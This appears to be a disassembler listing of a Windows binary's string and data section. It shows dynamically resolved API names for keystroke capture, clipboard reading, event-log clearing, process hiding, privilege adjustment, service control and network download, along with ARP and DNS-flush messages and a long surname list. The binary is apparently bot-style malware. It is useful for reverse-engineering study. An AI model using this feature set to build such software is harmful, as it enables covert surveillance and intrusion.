aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409909+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409909:loc_40A208o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409909+82Co
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409909+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409909+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409909+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409909+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_409909+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409909+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409909+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_409909+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_409909+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_409909+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409909+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409909+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409909+60Ao
align 10h
aSendto db 'sendto',0 ; DATA XREF: sub_409909+5FDo
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409909+5E3o
align 10h
aNtohs db 'ntohs',0 ; DATA XREF: sub_409909+5D6o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409909+5C9o
align 10h
aHtons db 'htons',0 ; DATA XREF: sub_409909+5BCo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409909+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409909+5A2o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_409909+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409909+588o
aSocket db 'socket',0 ; DATA XREF: sub_409909+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409909+56Eo
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409909+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409909+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409909+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409909+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409909+52Do
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409909+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409909+514o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409909+4A1o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409909+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409909+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409909+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
align 10h
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409909+460o
align 10h
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409909+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409909:loc_409D36o
align 10h
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409909:loc_409D0Eo
align 10h
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409909+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409909+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409909+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409909+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409909:loc_409C60o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409909+2C6o
align 4
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409909+2B9o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409909+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409909+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409909+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409909+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409909:loc_409B68o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409909+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409909+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409909+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409909+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409909+179o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409909+16Co
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409909+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409909+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409909+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409909:loc_409A3Eo
; sub_425029+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409909+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409909+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409909+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409909+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409909+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409909+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409909+Ao
align 4
unk_42D6C4 db 2Dh ; - ; DATA XREF: sub_40A5C5+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
align 10h
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
align 10h
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
align 10h
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
align 10h
a_: ; DATA XREF: sub_41036B+252o
unicode 0, <.>,0
unk_42D854 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9E7o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
unk_42D884 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9B5o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_42D8B4 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A981o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
unk_42D8D8 db 2Dh ; - ; DATA XREF: sub_40A928+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AA06+46o
; sub_40C2AF+38o ...
aReal db 'real',0
align 4
dd 0
dword_42D91C dd 0 ; DATA XREF: sub_40AE84+7o
off_42D920 dd offset sub_40AAAC ; DATA XREF: sub_40AE84+49r
aConst db 'const',0
align 10h
dd 1, 40AB19h, 7474656Ch, 7265h, 0
dd 2, 40AB77h, 706D6F63h, 2 dup(0)
dd 3, 40ABC4h, 6E756F63h, 797274h, 0
dd 4, 40AC62h, 736Fh, 2 dup(0)
dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
dd 6, 40AEEDh
off_42D99C dd offset aAbdulrazak ; DATA XREF: sub_40AAAC+21r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_42D9A8 dd offset aAddison ; DATA XREF: sub_40AE84+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
